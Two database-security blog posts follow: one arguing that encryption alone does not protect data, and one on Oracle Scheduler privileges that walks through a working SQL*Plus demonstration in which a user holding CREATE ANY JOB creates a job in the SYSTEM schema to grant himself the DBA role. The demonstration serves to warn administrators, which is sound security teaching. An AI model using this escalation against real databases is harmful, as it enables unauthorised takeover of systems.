Is Encryption a Silver Bullet?

You have probably heard that "encrypt all your data so that even if an attacker gets their hands on your data, they won't be able to see your plaintext data as they cannot decrypt it". So, encryption is a silver bullet that protects your enterprise data from attackers of all walks, isn't it? Not really! Encryption do help in certain scenarios but there are many other cases where it may not fully protect your data. For example, if your goal is to protect data against direct access to data from the physical media, then encryption works if the keys are stored elsewhere.

Figure: Encryption works to prevent direct access to disk data

What most people forget is that most of the encrypted data is available in plaintext to database systems (if transparent encryption is used) and applications. If an attacker can get access to the database or application, they get access to plaintext data. The strongest encryption algorithm or the key for that matter won't help in that case.

Figure: Encryption fails as attacker hacked into the database server which has access to plaintext data

Figure: Encryption fails again as attacker gained access to the application server which sees plaintext data

So, if encryption won't fully help to protect your data, what can we do to improve protection? Obviously, we need to use defense in depth and we need to make it harder for attackers to gain access to application or database server. Application firewalls and database firewalls can help.

What if attackers penetrate the firewalls and gain access to application? One way to contain/control the damage is to always use a least privileged database user in the application so that the attacker has access only to limited objects in the database. Hence, the damage they can do is limited.

Another control mechanism is to make only the least information available for the application. For example, if the application requires two columns of a table, instead of using the full table, you can limit to the two columns only. That way, if the attacker does not have access to the database directly, they can only steal limited amount of data. One step further is to dynamically mask (redact) data before sending to the application if the full data is not necessary for the application functionality. For example, if the application just displays the credit card number, instead of sending the full 16 digit credit card number, masked number with the last four digit could be sent to the application.

Let me tell you one last, but not the least, brilliant idea. Delete or archive the data that you don't use. If there is no data, there is nothing to steal!

What about insiders who misuse the applications or databases .. and also targeted insiders (i.e. insiders whose credentials are stolen by attackers to avoid perimeter security)? Granting least privilege can help, but this where you need to have detection mechanisms (auditing and monitoring) in place. Behavioral anomaly detection could help to stop such attacks and remove the malicious or targeted insiders from the system.

The bottom line is encryption is not the cure for all your security threats. You've got to strengthen the security at the points where the plaintext is readily available. Always grant least privileges to application and database users. Deploy firewalls and detection systems. Extensively audit to make users accountable for what they do. Educate users how not be the target of phishing attacks which gives easy access to your systems to attackers. With all these sophisticated attacks we see day in and day out, defense in depth is the way to go!

Oracle Scheduler Security - Part 1

Similar to cron jobs in Linux, you can schedule jobs in Oracle database in order to execute it once or periodically. (You can actually manage jobs, schedules, programs, credentials using dbms_scheduler package. In this post, we will focus only on jobs.) As a general security guideline, it is a best practice to grant the minimum privileges required in order to get the work done (aka principal of least privilege). Granting excessive privileges could lead to misuse/unauthorized use of the system by privileged users (aka insider attackers). Further, if an attacker gains access to an account with excessive privileges, they could do serious damages to the system. This post focuses on the risks of excessive scheduler privileges and techniques to mitigate/reduce such risks.

CREATE JOB or CREATE ANY JOB?
Users who need to schedule jobs should be granted CREATE JOB privilege whereas users who need to administer (create, start, stop, etc.) scheduler jobs should be granted CREATE ANY JOB privilege. CREATE JOB privilege allows to create jobs only in the users schema. For example, if bob is granted CREATE JOB privilege, he can create any number of jobs on his schema, but he cannot create jobs in some other schema. CREATE ANY JOB is a very powerful privilege. It allows to create jobs in any scheme other than SYS. Care should be taken when granting CREATE ANY JOB as it can potentially be misused to escalate privileges. For example, a user, who is granted CREATE ANY JOB privilege,  can create a job in the SYSTEM schema and grant excessive privilege to himself. Please note when you create a job in a schema X, it is run as user X (as Oracle does not have distinction between schema and user).

How can we exploit CREATE ANY JOB privilege? Let me show you a very basic example of how it can be exploited to escalate privileges:
We connect as SYS and create user u1:
SQL> conn / as sysdba
Connected.
SQL> create user u1 identified by p1;
User created.

Grant CREATE SESSION privilege to u1 so that it can login to the database:
SQL> grant create session to u1;
Grant succeeded.

Now let's check what privileges and roles are granted to u1:. As you can see, there are no roles currently granted to u1:

SQL> select granted_role from dba_role_privs where grantee = 'U1';
no rows selected
SQL> select privilege from dba_sys_privs where grantee = 'U1';

PRIVILEGE
----------------------------------------
CREATE SESSION

Now SYS grants excessive privilege CREATE ANY JOB to u1:
SQL> grant create any job to u1;
Grant succeeded.

Now Let's see how u1 misuses this powerful privilege to grant himself the DBA role which very powerful.
SQL> conn u1/p1
Connected.
SQL> select granted_role from user_role_privs where username = 'U1';
no rows selected

u1 creates the following job in SYSTEM schema so that he can execute the job as SYSTEM user. This job simply executes a PL/SQL block to grant DBA role to himself!
SQL> begin
  2    dbms_scheduler.create_job (
  3      job_name     => 'system.exploit',
  4      job_type     => 'PLSQL_BLOCK',
  5      job_action   => 'begin execute immediate ''grant dba to u1''; end;'
  6    );
  7  
  8    dbms_scheduler.run_job (
  9      job_name     => 'system.exploit'
 10    );
 11  end;
 12  /
PL/SQL procedure successfully completed.

Now let's check what roles u1 has. As you can see, now u1 has the DBA role!
SQL> select granted_role from user_role_privs where username = 'U1';

GRANTED_ROLE
--------------------------------------------------------------------------------
DBA

Doing the clean up for this simple test:
SQL> conn / as sysdba
Connected.
SQL> drop user u1 cascade;
User dropped.
SQL> exec dbms_scheduler.drop_job('system.exploit');
PL/SQL procedure successfully completed.

As you can see, granting CREATE ANY JOB privilege can have dire consequences. Therefore, it should be granted to only those who absolutely needs it to perform their organizational duties.

It is a good practice to audit these privileged users in order to identify misuses and also to act as deterrence to act maliciously.

CREATE ANY JOB allows to create jobs in any schema. CREATE JOB allows to create jobs only in the user's schema. What if there are many DBA's in an organization and we want to allow each DBA to administer jobs in a set of schemas (not all)? How can a security administrator enforce such a requirement? Hmm.. Oracle does not provide schema level privileges by default, but you can use Database Vault security option to do that! After granting CREATE ANY JOB privilege to users, the Database Vault administrator can authorize only a selected set of schemas on which each user can administer jobs using the API DBMS_MACADM.AUTHORIZE_SCHEDULER_USER(username, schema_name).

There is more to scheduler jobs. We will be looking at running external programs as scheduler jobs and also about scheduler object attributes in another post.